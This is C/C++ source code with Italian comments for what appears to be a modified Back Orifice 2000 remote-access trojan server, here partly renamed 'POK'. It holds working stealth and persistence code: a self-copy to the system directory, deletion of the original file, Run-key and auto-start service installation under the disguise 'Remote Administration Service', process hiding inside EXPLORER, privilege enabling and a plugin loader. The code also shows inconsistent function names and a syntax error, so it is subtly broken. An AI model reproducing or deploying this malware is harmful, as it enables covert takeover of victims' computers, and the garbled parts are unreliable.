ghDll_Kernel32=LoadLibrary("KERNEL32.DLL");


if(ghDll_Kernel32==NULL) return -1;


if(!g_bIsWinNT) {



pCreateToolhelp32Snapshot = (CREATESNAPSHOT)GetProcAddress(ghDll_Kernel32,




"CreateToolhelp32Snapshot"); 

        pModule32First  = (MODULEWALK)GetProcAddress(ghDll_Kernel32, 

            "Module32First"); 

        pModule32Next   = (MODULEWALK)GetProcAddress(ghDll_Kernel32,

            "Module32Next"); 

        pProcess32First = (PROCESSWALK)GetProcAddress(ghDll_Kernel32, 

            "Process32First"); 

        pProcess32Next  = (PROCESSWALK)GetProcAddress(ghDll_Kernel32, 

            "Process32Next"); 

        pThread32First  = (THREADWALK)GetProcAddress(ghDll_Kernel32, 

            "Thread32First"); 

        pThread32Next   = (THREADWALK)GetProcAddress(ghDll_Kernel32, 

            "Thread32Next"); 



pRegisterServiceProcess = (REGSERVICEPROC)GetProcAddress(ghDll_Kernel32,




"RegisterServiceProcess");


} else {



pCreateRemoteThread=(CREATEREMOTETHREAD) GetProcAddress(ghDll_Kernel32,




"CreateRemoteThread");

        pVirtualProtectEx = (VIRTUALPROTECTEX)GetProcAddress(ghDll_Kernel32, 

            "VirtualProtectEx"); 

        pVirtualAllocEx = (VIRTUALALLOCEX)GetProcAddress(ghDll_Kernel32, 

            "VirtualAllocEx"); 

        pVirtualQueryEx   = (VIRTUALQUERYEX)GetProcAddress(ghDll_Kernel32, 

            "VirtualQueryEx"); 

        pVirtualFreeEx   = (VIRTUALFREEEX)GetProcAddress(ghDll_Kernel32, 

            "VirtualFreeEx"); 


}


ghDll_AdvApi32=LoadLibrary("ADVAPI32.DLL");


if(ghDll_AdvApi32==NULL) return -1;


if(g_bIsWinNT) {



pRegSetKeySecurity = (REGSETKEYSECURITY)GetProcAddress(ghDll_AdvApi32,




"RegSetKeySecurity");



pSetSecurityDescriptorDacl = (SETSECURITYDESCRIPTORDACL)GetProcAddress(ghDll_AdvApi32,




"SetSecurityDescriptorDacl");



pGetAce = (GETACE)GetProcAddress(ghDll_AdvApi32,




"GetAce");



pAddAccessAllowedAce = (ADDACCESSALLOWEDACE)GetProcAddress(ghDll_AdvApi32,




"AddAccessAllowedAce");



pInitializeAcl = (INITIALIZEACL)GetProcAddress(ghDll_AdvApi32,




"InitializeAcl");



pInitializeSecurityDescriptor = (INITIALIZESECURITYDESCRIPTOR)GetProcAddress(ghDll_AdvApi32,




"InitializeSecurityDescriptor");



pGetLengthSid = (GETLENGTHSID)GetProcAddress(ghDll_AdvApi32,




"GetLengthSid");



pLookupAccountName = (LOOKUPACCOUNTNAME)GetProcAddress(ghDll_AdvApi32,




"LookupAccountNameA");



pLookupAccountSid = (LOOKUPACCOUNTSID)GetProcAddress(ghDll_AdvApi32,




"LookupAccountSidA");



pGetSecurityDescriptorDacl = (GETSECURITYDESCRIPTORDACL)GetProcAddress(ghDll_AdvApi32,




"GetSecurityDescriptorDacl");



pGetSecurityDescriptorGroup = (GETSECURITYDESCRIPTORGROUP)GetProcAddress(ghDll_AdvApi32,




"GetSecurityDescriptorGroup");



pGetSecurityDescriptorOwner = (GETSECURITYDESCRIPTOROWNER)GetProcAddress(ghDll_AdvApi32,




"GetSecurityDescriptorOwner");



pOpenProcessToken = (OPENPROCESSTOKEN)GetProcAddress(ghDll_AdvApi32,




"OpenProcessToken");



pLookupPrivilegeValue = (LOOKUPPRIVILEGEVALUE)GetProcAddress(ghDll_AdvApi32,




"LookupPrivilegeValueA");



pAdjustTokenPrivileges = (ADJUSTTOKENPRIVILEGES)GetProcAddress(ghDll_AdvApi32,




"AdjustTokenPrivileges");



pRegGetKeySecurity = (REGGETKEYSECURITY)GetProcAddress(ghDll_AdvApi32,




"RegGetKeySecurity");



pOpenSCManager=(OPENSCMANAGER) GetProcAddress(ghDll_AdvApi32,




"OpenSCManagerA");



pCreateService=(CREATESERVICE) GetProcAddress(ghDll_AdvApi32,




"CreateServiceA");



pCloseServiceHandle=(CLOSESERVICEHANDLE) GetProcAddress(ghDll_AdvApi32,




"CloseServiceHandle");



pOpenService=(OPENSERVICE) GetProcAddress(ghDll_AdvApi32,




"OpenServiceA");



pStartServiceCtrlDispatcher=(STARTSERVICECTRLDISPATCHER) GetProcAddress(ghDll_AdvApi32,




"StartServiceCtrlDispatcherA");



pRegisterServiceCtrlHandler=(REGISTERSERVICECTRLHANDLER) GetProcAddress(ghDll_AdvApi32,




"RegisterServiceCtrlHandlerA");



pSetServiceStatus=(SETSERVICESTATUS) GetProcAddress(ghDll_AdvApi32,




"SetServiceStatus");



pDeleteService=(DELETESERVICE) GetProcAddress(ghDll_AdvApi32,




"DeleteService");



pGetServiceDisplayName=(GETSERVICEDISPLAYNAME) GetProcAddress(ghDll_AdvApi32,




"GetServiceDisplayNameA");



pStartService=(STARTSERVICE) GetProcAddress(ghDll_AdvApi32,




"StartServiceA");


}


return 0;

}

int KillDynamicLibraries(void)

{


if(ghDll_AdvApi32!=NULL) 



FreeLibrary(ghDll_AdvApi32);


if(ghDll_Kernel32!=NULL) 



FreeLibrary(ghDll_Kernel32);


if(ghDll_Mpr!=NULL) 



FreeLibrary(ghDll_Mpr);


if(ghDll_NetApi32!=NULL) 



FreeLibrary(ghDll_NetApi32);


if(ghDll_SvrApi!=NULL) 



FreeLibrary(ghDll_SvrApi);


return 0;

}

/*  file iohandler.cpp. */

// interfaccia dei Comandi di  Input/Output 

#include<stdio.h>

#include<string.h>

#include<iohandler.h>

#include<commnet.h>

#ifndef WIN32

#define strnicmp strncasecmp

#endif

// Classe del manipolatore di IO                                              

CIOHandler::CIOHandler()

{


int i;


for(i=0;i<MAX_IO_HANDLERS;i++)



m_IOHandler[i]=INVALID_IO_HANDLER;

}

CIOHandler::~CIOHandler()

{


int i;


for(i=0;i<MAX_IO_HANDLERS;i++) {



if(m_IOHandler[i]!=INVALID_IO_HANDLER) {




m_IOHandler[i]->pRemove();




m_IOHandler[i]=INVALID_IO_HANDLER;



}


}

}

int CIOHandler::Insert(IO_HANDLER *handler)

{



int i;


if(handler->pInsert==NULL) return -1;


if(handler->pInsert()==-1) return -1;


for(i=0;i<MAX_IO_HANDLERS;i++) {



if(m_IOHandler[i]==INVALID_IO_HANDLER) break;


}


if(i==MAX_IO_HANDLERS) return -1;


m_IOHandler[i]=handler;


return i;

}

int CIOHandler::GetHandlerCount(void)

{


int count,i;


count=0;


for(i=0;i<MAX_IO_HANDLERS;i++) {



if(m_IOHandler[i]!=INVALID_IO_HANDLER) count++;


}


return count;

}

IO_HANDLER *CIOHandler::GetHandler(int nHandler)

{


if(nHandler<0 || nHandler>=MAX_IO_HANDLERS) return NULL;


return m_IOHandler[nHandler];

}

IO_HANDLER *CIOHandler::GetHandlerByID(const char *svID)

{


int i;


for(i=0;i<MAX_IO_HANDLERS;i++) {



char *svQuery=Query(i);



if(svQuery!=NULL) {




if(strnicmp(svQuery,svID,min(strlen(svID),strlen(svQuery)))==0)





return m_IOHandler[i];



}


}


return NULL;

}

char *CIOHandler::Query(int nHandler)

{


if(nHandler<0 || nHandler>=MAX_IO_HANDLERS) return NULL;


if(m_IOHandler[nHandler]==INVALID_IO_HANDLER) return NULL;


if(m_IOHandler[nHandler]->pQuery==NULL) return NULL;


return m_IOHandler[nHandler]->pQuery();

}

int CIOHandler::Remove(int nHandler)

{


int ret;


if(nHandler<0 || nHandler>=MAX_IO_HANDLERS) return -1;


if(m_IOHandler[nHandler]==INVALID_IO_HANDLER) return -1;


if(m_IOHandler[nHandler]->pRemove==NULL) return -1;


ret=m_IOHandler[nHandler]->pRemove();


m_IOHandler[nHandler]=INVALID_IO_HANDLER;


return ret;

}

CIOSocket::CIOSocket(IO_HANDLER *pHandler)

{


m_pHandler=pHandler;


m_pData=NULL;


m_svRmtAddr[0]=0;

}

CIOSocket::~CIOSocket()

{

}

int CIOSocket::Listen(const char *svTarget)

{


if(m_pHandler->pListen==NULL) return -1;


if(m_pData!=NULL) return -1;


m_pData=m_pHandler->pListen(svTarget);


if(m_pData==NULL) return -1;


return 0;

}

int CIOSocket::Connect(const char *svTarget)

{


if(m_pHandler->pConnect==NULL) return -1;


if(m_pData!=NULL) return -1;


m_pData=m_pHandler->pConnect(svTarget);


if(m_pData==NULL) return -1;


strncpy(m_svRmtAddr,svTarget,256);


return 0;

}

CIOSocket *CIOSocket::Accept(void)

{


CIOSocket *cios;


if(m_pHandler->pAccept==NULL) return NULL;


if(m_pData==NULL) return NULL;


void *data;


char svAddr[256];


data=m_pHandler->pAccept(m_pData,svAddr,256);


if(data==NULL) return NULL;


cios=new CIOSocket(m_pHandler);


cios->m_pData=data;


strncpy(cios->m_svRmtAddr,svAddr,256);


return cios;

}

int CIOSocket::Close(void)

{


int ret;


if(m_pHandler->pClose==NULL) return -1;


if(m_pData==NULL) return 0;


ret=m_pHandler->pClose(m_pData);


if(ret<0) return ret;


m_svRmtAddr[0]='\0';


m_pData=NULL;


return ret;

}


int CIOSocket::Recv(BYTE **pInData, int *pnInDataLen)

{


if(m_pHandler->pRecv==NULL) return -1;


if(m_pData==NULL) {



*pInData=NULL;



*pnInDataLen=0;



return -1;


}


return m_pHandler->pRecv(m_pData,pInData,pnInDataLen);

}

int CIOSocket::Send(const BYTE *pData, int nDataLen)

{


if(m_pHandler->pSend==NULL) return -1;


if(m_pData==NULL) return -1;


return m_pHandler->pSend(m_pData,pData,nDataLen);

}

void CIOSocket::Free(BYTE *pBuffer)

{


if(m_pHandler->pFree==NULL) return;


if(m_pData==NULL) return;


m_pHandler->pFree(m_pData,pBuffer);

}

int CIOSocket::GetRemoteAddr(char *svAddr,int nMaxLen)

{


strncpy(svAddr,m_svRmtAddr,nMaxLen);


return strlen(svAddr);

}

int CIOSocket::GetConnectAddr(char *svAddr,int nMaxLen)

{


if(m_pHandler->pGetConnectAddr==NULL) return -1;


if(m_pData==NULL) return -1;


return m_pHandler->pGetConnectAddr(m_pData,svAddr,nMaxLen);

}

// file main.cpp

#include<windows.h>

#include<main.h>

#include<bo_debug.h>

#include<functions.h>

#include<osversion.h>

#include<bocomreg.h>

#include<commandloop.h>

#include<dll_load.h>

#include<config.h>

#include<pviewer.h>

#include<process_hop.h>

#ifdef NDEBUG

#endif

HMODULE g_module=NULL;

HANDLE g_hfm=NULL;

DWORD g_dwThreadID=0;

BOOL g_bRestart=FALSE;

char g_svRestartProcess[64];

BOOL g_bEradicate=FALSE;

// --------------- opzione Stealth partenza automatica invisibile del Server----------------

char g_svStealthOptions[]="<**CFG**>Stealth\0"

#ifdef HIDE_COPY







  "B:Run at startup=1\0"







  "B:Delete original file=1\0"







  "B:Insidious mode=0\0"

#else







  "B:Run at startup=0\0"







  "B:Delete original file=0\0"







  "B:Insidious mode=0\0"

#endif

                          "S[64]:Runtime pathname=UMGR32.EXE\0.....................................................\0"

#ifdef HOOK_PROCESS





  







  "B:Hide process=1\0"

#else







  "B:Hide process=0\0"

#endif







  "S[48]:Host process name (NT)=EXPLORER\0.......................................\0"







  "S[48]:Service Name (NT)=Remote Administration Service\0..................\0";

//Questa è la routine più significativa per il funzionamento di POK, essa spiega chiaramente dove e come si installa nel registro, e le modalità di rimozione “eradicate”.

void EradicateBO2K(void)

{



char *svRunRegKey;


char *svTarget=GetCfgStr(g_svStealthOptions,"Runtime pathname");


// Comando definitivo di sgancio Eradicate, elimina la chiave dal registro higkey


if(g_bIsWinNT) {



svRunRegKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";


} else {



svRunRegKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunServices";


}


HKEY key;


RegOpenKey(HKEY_LOCAL_MACHINE,svRunRegKey,&key);


RegDeleteValue(key,svTarget);


RegCloseKey(key);


if(g_bIsWinNT) {



// Eliminazione dal registro con comando Eradicate

RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key);



RegDeleteValue(key,svTarget);



RegCloseKey(key);



// eliminazione dal  database con Eradicate



SC_HANDLE scm=pOpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);



if(scm!=NULL) {




SC_HANDLE srv=pOpenService(scm,GetCfgStr(g_svStealthOptions,"Service Name (NT)"),SERVICE_STOP|DELETE);




if(srv!=NULL) {





pDeleteService(srv);





pCloseServiceHandle(srv);




}




pCloseServiceHandle(scm);



}


}

}

DWORD WINAPI EntryPoint(LPVOID lpParameter)

{


startofentrypoint:;


g_bRestart=FALSE;


g_module=(HMODULE)lpParameter;


LoadLibrary("kernel32.dll");


LoadLibrary("user32.dll");


LoadLibrary("gdi32.dll");


LoadLibrary("winspool.dll");


LoadLibrary("advapi32.dll");


LoadLibrary("shell32.dll");


LoadLibrary("ole32.dll");


LoadLibrary("oleaut32.dll");


LoadLibrary("wsock32.dll");


// Creazione senza utilizzare le classi di window


WNDCLASS wndclass;


wndclass.style = 0;


wndclass.lpfnWndProc = DefWindowProc;


wndclass.cbClsExtra = 0;


wndclass.cbWndExtra = 0;


wndclass.hInstance = g_module;


wndclass.hIcon = NULL;


wndclass.hCursor = NULL;


wndclass.hbrBackground = NULL;


wndclass.lpszMenuName = NULL;


wndclass.lpszClassName = "WSCLAS";


RegisterClass(&wndclass);


// Determin sistema operativo



GetOSVersion();


// Usa librerie dinamiche


InitDynamicLibraries();


// Abilita accesso su  Windows NT


if(g_bIsWinNT) {



HANDLE tok;



if(pOpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&tok)) {




LUID luid;




TOKEN_PRIVILEGES tp;




pLookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid);




tp.PrivilegeCount=1;




tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;




tp.Privileges[0].Luid=luid;




pAdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL);




pLookupPrivilegeValue(NULL,SE_SECURITY_NAME,&luid);




tp.PrivilegeCount=1;




tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;




tp.Privileges[0].Luid=luid;




pAdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL);




CloseHandle(tok);



}


}


// Inizializza  Command Dispatcher


InitializeCommandDispatcher();


// inizializza comandi


InitializeCommands();


// esegui Primary Command Loop


CommandHandlerLoop();


// sgancia  plugins


TerminateCommands();


// termina  Command Dispatcher


KillCommandDispatcher();


// Rimozione completa del server POK su richiesta con Eradicate


if(g_bEradicate) {



EradicatePok();


}


KillDynamicLibraries();


if(g_bRestart) {



if(g_svRestartProcess[0]=='\0') goto startofentrypoint;



if(GetCfgBool(g_svStealthOptions,"Hide process") && g_bIsWinNT) {




if(!SpawnBO2KThread(g_svRestartProcess)) 





goto startofentrypoint;



} else goto startofentrypoint;


}


return 0;

}

extern "C" int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow);

VOID WINAPI Handler( DWORD fdwControl ) 

{

}

void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv)

{


SERVICE_STATUS_HANDLE ssh=pRegisterServiceCtrlHandler(GetCfgStr(g_svStealthOptions,"Service Name (NT)"), &Handler);


SERVICE_STATUS ss;


ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;


ss.dwCurrentState=SERVICE_RUNNING;


ss.dwControlsAccepted=0;


ss.dwWin32ExitCode=NO_ERROR;


ss.dwCheckPoint=0;


ss.dwWaitHint=0;


pSetServiceStatus(ssh,&ss);


EntryPoint(GetModuleHandle(NULL));


ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;


ss.dwCurrentState=SERVICE_STOPPED;


ss.dwControlsAccepted=0;


ss.dwWin32ExitCode=NO_ERROR;


ss.dwCheckPoint=0;


ss.dwWaitHint=0;


pSetServiceStatus(ssh,&ss);

}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)

{



g_module=GetModuleHandle(NULL);


GetOSVersion();


InitDynamicLibraries();


//abilita opzioni stealth


BOOL bHideProcess=GetCfgBool(g_svStealthOptions,"Hide process");


BOOL bRunAtStartup=GetCfgBool(g_svStealthOptions,"Run at startup");


char *svCmdLine=GetCommandLine();


while(svCmdLine[0]!='\0') {



svCmdLine++;



if((*(svCmdLine-1))==' ') break;


}


if(svCmdLine[0]!='\0') {



if(GetCfgBool(g_svStealthOptions,"Cancella il file virus/server originale")) {




while(DeleteFile(svCmdLine)==0) {





if(GetLastError()==ERROR_FILE_NOT_FOUND) break;





Sleep(100);




}



}


}


// Determina cosa lanciare in Avvio del sistema


if(bRunAtStartup) {



// Livelli installati:



// 0: non installati



// 1: Installati ma non attivabili dappertutto



// 2: Installati, eseguibili dal registro delle chiavi dell’utente



// 3: Installati, eseguibili da tutto il registro ( globale)



// 4: Installati, eseguibili come servizio



int nInstall=0;



char *svRunRegKey;



if(g_bIsWinNT) {




svRunRegKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";



} else {




svRunRegKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunServices";



}



char svFileName[512];



GetModuleFileName(g_module,svFileName,512);



char svName[MAX_PATH];



char svTargetName[MAX_PATH],*svFilePart;



char *svTarget=GetCfgStr(g_svStealthOptions,"Runtime pathname");



GetSystemDirectory(svName,MAX_PATH-1);



lstrcat(svName,"\\");



lstrcpyn(svName+lstrlen(svName),svTarget,MAX_PATH-lstrlen(svName));



GetFullPathName(svName,MAX_PATH,svTargetName,&svFilePart);



// Aggiungi le opzioni insidius mode della modalità invisibile



if(GetCfgBool(g_svStealthOptions,"Insidious mode")) {




memset(svTargetName+lstrlen(svTargetName),' ',MAX_PATH-lstrlen(svTargetName));




svTargetName[MAX_PATH-2]='e';




svTargetName[MAX_PATH-1]='\0';



}



// ------------- Determina livello  currente dell’ installazione -----------------



// ----- testa livello di installazione 1: -----



if(GetFileAttributes(svTargetName)!=0xFFFFFFFF) {




nInstall=1;



}



// ----- testa livello di installazione 2: (NT only)



if(nInstall==1 && g_bIsWinNT) {




HKEY key;




if(RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {





DWORD len=512;





char svRegPath[512];





if(RegQueryValueEx(key,svFilePart,NULL,NULL,(BYTE *)svRegPath,&len)==ERROR_SUCCESS) {






if(lstrcmpi(svRegPath,svTargetName)==0) {







nInstall=2;






}





}




}



}



// ----- testa livello di installazione 3: globalmente sul registro



if(nInstall==1) {




HKEY key;




if(RegCreateKey(HKEY_LOCAL_MACHINE,svRunRegKey,&key)==ERROR_SUCCESS) {





DWORD len=512;





char svRegPath[512];





if(RegQueryValueEx(key,svFilePart,NULL,NULL,(BYTE *)svRegPath,&len)==ERROR_SUCCESS) {






if(lstrcmpi(svRegPath,svTargetName)==0) {







nInstall=3;






}





}




}



}



// ----- testa livello di installazione 4: testa service database (NT only)



if(nInstall==1 && g_bIsWinNT) {




SC_HANDLE scm=pOpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);




if(scm!=NULL) {





char svBuf[512];





DWORD len;





if(pGetServiceDisplayName(scm,GetCfgStr(g_svStealthOptions,"Service Name (NT)"),svBuf,&len)!=0) {






nInstall=4;





}





pCloseServiceHandle(scm);




}



}



// ------------- Test di compatibilita con il sistema in uso ----------------



int nOldInstall=nInstall;



if(nInstall==0 || (lstrcmpi(svFileName,svTargetName)!=0)) {




// Esegue la copia dei file




while(CopyFile(svFileName,svTargetName,FALSE)==0) Sleep(1000);




STARTUPINFO si;




PROCESS_INFORMATION pi;




char svComLine[2048];




lstrcpyn(svComLine,svTargetName,2048);




lstrcpyn(svComLine+lstrlen(svComLine)," ",2048-lstrlen(svComLine));




lstrcpyn(svComLine+lstrlen(svComLine),svFileName,2048-lstrlen(svComLine));




memset(&si,0,sizeof(STARTUPINFO));




si.cb=sizeof(STARTUPINFO);




si.dwFlags=STARTF_FORCEOFFFEEDBACK;




CreateProcess(NULL,svComLine,NULL,NULL,0,0,NULL,NULL,&si,&pi);




KillDynamicLibraries();




return 0;



}



if((nInstall>0) && (nInstall<4) && g_bIsWinNT) {




SC_HANDLE scm=pOpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);




if(scm!=NULL) {





char svBinary[1024];





wsprintf(svBinary,"\"%s\"",svTargetName);





SC_HANDLE svc=pCreateService(scm,






GetCfgStr(g_svStealthOptions,"Service Name (NT)"),






GetCfgStr(g_svStealthOptions,"Service Name (NT)"),






0,






SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,






SERVICE_AUTO_START,






SERVICE_ERROR_IGNORE,






svBinary,






NULL,






NULL,






NULL,






NULL,






NULL);





if(svc!=NULL) {






nInstall=4;






pCloseServiceHandle(svc);





}





pCloseServiceHandle(scm);




}



}



if((nInstall>0) && (nInstall<3)) {




HKEY key;




if(RegOpenKey(HKEY_LOCAL_MACHINE,svRunRegKey,&key)==ERROR_SUCCESS) {





if(RegSetValueEx(key,svTarget,0,REG_SZ,(BYTE *)svTargetName,lstrlen(svTargetName))==ERROR_SUCCESS) {






nInstall=3;





}





RegCloseKey(key);




}



}



if((nInstall>0) && (nInstall<2) && g_bIsWinNT) {




HKEY key;




if(RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {





if(RegSetValueEx(key,svTarget,0,REG_SZ,(BYTE *)svTargetName,lstrlen(svTargetName))==ERROR_SUCCESS) {






nInstall=2;





}





RegCloseKey(key);




}



}



// ------------------- Ripristino sistema originale ---------------------



if(nInstall!=nOldInstall) {




if(nOldInstall==2) {





HKEY key;





if(RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {






RegDeleteValue(key,svFilePart);






RegCloseKey(key);





}




}




if(nOldInstall==3) {





HKEY key;





if(RegOpenKey(HKEY_LOCAL_MACHINE,svRunRegKey,&key)==ERROR_SUCCESS) {






RegDeleteValue(key,svFilePart);






RegCloseKey(key);





}




}



}



if(g_bIsWinNT && nInstall==4) {




char svUserName[256];




DWORD dwBufSize=256;




GetUserName(svUserName,&dwBufSize);





if(lstrcmpi(svUserName,"SYSTEM")==0) {





SERVICE_TABLE_ENTRY ste[2];





ste[0].lpServiceName=GetCfgStr(g_svStealthOptions,"Service Name (NT)");





ste[0].lpServiceProc=ServiceMain;





ste[1].lpServiceName=NULL;





ste[1].lpServiceProc=NULL;





if(pStartServiceCtrlDispatcher(ste)>0) {






KillDynamicLibraries();






return 0;






}




} else {





SC_HANDLE scm=pOpenSCManager(NULL,NULL,SC_MANAGER_CONNECT);





if(scm!=NULL) {






SC_HANDLE svc=pOpenService(scm,GetCfgStr(g_svStealthOptions,"Service Name (NT)"),SERVICE_START);






if(svc!=NULL) {







if(pStartService(svc,0,NULL)>0){








pCloseServiceHandle(svc);








pCloseServiceHandle(scm);








KillDynamicLibraries();








return 0;







} else {








if(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING) {









pCloseServiceHandle(svc);









pCloseServiceHandle(scm);









KillDynamicLibraries();









return 0;








}







}







pCloseServiceHandle(svc);






}






pCloseServiceHandle(scm);





}




}



}


}


if(g_bIsWinNT) {



char svUserName[256];



DWORD dwBufSize=256;



GetUserName(svUserName,&dwBufSize);



if(lstrcmpi(svUserName,"LocalSystem")==0) {




EntryPoint(GetModuleHandle(NULL));




KillDynamicLibraries();




return 0;



}


}


if(bHideProcess) {



// Processi nascosti



char *svProcess=GetCfgStr(g_svStealthOptions,"Processo fantasma in corso");



SpawnPokThread(svProcess);


} else {



// ---------- nessun occultamento del processo ---------------



EntryPoint(GetModuleHandle(NULL));


}


KillDynamicLibraries();


ExitProcess(0); 


return 0}

/*  file newdelete.cpp */

#include<windows.h>

void * __cdecl operator new( unsigned int cb )

{



void *pMem;


do {



pMem=HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,cb);



if(pMem==NULL) Sleep(2000);


} while(pMem==NULL);


return pMem;

}

void __cdecl operator delete( void * p )

{


HeapFree(GetProcessHeap(),0,p);

}

/*  file osversion.cpp */

#include<windows.h>

#include<osversion.h>

BOOL g_bIsWinNT;

// Determina versione di sistema operativo

void GetOSVersion(void)

{


OSVERSIONINFO osvi;


osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);


if(GetVersionEx(&osvi)==FALSE) {

#ifdef _DEBUG



MessageBox( HWND_DESKTOP, "Unable to get version info", "GetOSVersion()", MB_OK );

#endif


}


if(osvi.dwPlatformId==VER_PLATFORM_WIN32s) {

#ifdef _DEBUG



MessageBox( HWND_DESKTOP, "This application does not run under WIN32s!", "Error", MB_OK );

#endif


}


if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT) 



g_bIsWinNT = 1;


else 



g_bIsWinNT = 0;

}

/*  file permissions.cpp */

#include<windows.h>

#include<auth.h>

#include<functions.h>

void IssueSecurityDescriptor(CAuthSocket *cas_from, int comid, PSECURITY_DESCRIPTOR psd)

{


char svBuffer[1024];


SID *pOwner, *pGroup;


PACL pAcl;


char svOwnerName[200];


char svOwnerDomain[200];


char svGroupName[200];


char svGroupDomain[200];


SID_NAME_USE snuse;


BOOL bDacl,bDef;


DWORD dwNameLen, dwDomainLen;


pGetSecurityDescriptorOwner(psd,(LPVOID *) &pOwner,&bDef);


pGetSecurityDescriptorGroup(psd,(LPVOID *) &pGroup,&bDef);


if(pOwner!=NULL) {



dwNameLen=256; dwDomainLen=256;



pLookupAccountSid(NULL,pOwner,svOwnerName,&dwNameLen,svOwnerDomain,&dwDomainLen,&snuse);


} else {



lstrcpy(svOwnerDomain,"NONE");



lstrcpy(svOwnerName,"NONE");


}


if(pGroup!=NULL) {



dwNameLen=256; dwDomainLen=256;



pLookupAccountSid(NULL,pGroup,svGroupName,&dwNameLen,svGroupDomain,&dwDomainLen,&snuse);


} else {



lstrcpy(svGroupDomain,"NONE");



lstrcpy(svGroupName,"NONE");


}


wsprintf(svBuffer,"   Owner: %s\\%s  Group: %s\\%s\n",svOwnerDomain,svOwnerName,svGroupDomain,svGroupName);


IssueAuthCommandReply(cas_from,comid,1,svBuffer);


pGetSecurityDescriptorDacl(psd,&bDacl,&pAcl,&bDef);


if(bDacl) {



int j;



for(j=0;j<pAcl->AceCount;j++) {




void *pAce;




char svName[200];




char svDomain[200];




SID *pSid;




ACCESS_MASK mask;




if(pGetAce(pAcl, j, &pAce)) {





char *svAcc;





switch(((ACE_HEADER *)pAce)->AceType) {





case ACCESS_ALLOWED_ACE_TYPE:






svAcc="ACCEPT";






pSid=(SID *)&(((ACCESS_ALLOWED_ACE *)pAce)->SidStart);






mask=((ACCESS_ALLOWED_ACE *)pAce)->Mask;






break;





case ACCESS_DENIED_ACE_TYPE:






svAcc="DENIED";






pSid=(SID *)&(((ACCESS_DENIED_ACE *)pAce)->SidStart);






mask=((ACCESS_DENIED_ACE *)pAce)->Mask;






break;





default:






svAcc="UNKNOWN:";






break;





}





dwNameLen=256; dwDomainLen=256;





pLookupAccountSid(NULL,pSid,svName,&dwNameLen,svDomain,&dwDomainLen,&snuse);





wsprintf(svBuffer,"   %s: %.200s\\%.200s (%s%s%s%s%s%s%s%s%s:0x%4.4X)\n",






svAcc,






svDomain,






svName,






(mask&(1<<16))?"D ":"",






(mask&(1<<17))?"RC ":"",






(mask&(1<<18))?"WD ":"",






(mask&(1<<19))?"WO ":"",






(mask&(1<<20))?"S ":"",






(mask&(1<<28))?"GA ":"",






(mask&(1<<29))?"GX ":"",






(mask&(1<<30))?"GW ":"",






(mask&(1<<31))?"GR ":"",






(WORD)mask);





IssueAuthCommandReply(cas_from,comid,1,svBuffer);




}



}


}




}

/* file plugins.cpp */

#include<windows.h>

#include<winnt.h>

#include<config.h>

#include<osversion.h>

#include<main.h>

#include<linkage.h>

#include<lzhcompress.h>

// --------------------  installatore dei Plugins ------------------

#pragma data_seg(".plugins")

BYTE buttocks[1024]="\0\0\0\0<<<.OOM>>>\0";

#pragma data_seg()

#pragma comment(linker,"/section:.plugins,r")

HMODULE *g_phmodPlugins=NULL;

int g_nPluginCount=0;

int FillLinkage(PLUGIN_LINKAGE *ppl);

void LoadPlugins(void)

{


BYTE *pImage=(BYTE *)g_module;


PIMAGE_FILE_HEADER pfh;


pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pImage);


int nSectionCount;


nSectionCount=pfh->NumberOfSections;


PIMAGE_SECTION_HEADER psh;

  psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (pImage);


int i;


for(i=0;i<nSectionCount;i++) {



if( (*((DWORD *)(psh->Name))==0x756C702E) &&




(*(((DWORD *)(psh->Name))+1)==0x736E6967) ) {




break;



}



psh++;


}


if(i==nSectionCount) return;


PATTACHMENT_HEADER pah;


pah = (PATTACHMENT_HEADER)RVATOVA(pImage,psh->VirtualAddress);


// Installa un plugin


BYTE *pPlugin;


DWORD dwSize;


int count;


count=pah->nNumPlugins;


g_nPluginCount=0;


pPlugin=(((BYTE *)pah)+sizeof(ATTACHMENT_HEADER));


for(i=0;i<count;i++) {



// Dimensione del plugin



dwSize=*((DWORD *)pPlugin);



pPlugin+=sizeof(DWORD);



// estrazione del plugin



CLzhCompress *clc=new CLzhCompress;



BYTE *pOutBuf;



int nOutBufLen;



clc->lzh_melt_memory(pPlugin,dwSize,(void **)&pOutBuf,&nOutBufLen);



// Aggiungi plugin



AddPlugin(pOutBuf,nOutBufLen);



clc->lzh_free_memory((void **)&pOutBuf);



delete clc;



pPlugin+=dwSize;


}

#ifdef _DEBUG


char *svPlugs[4]={


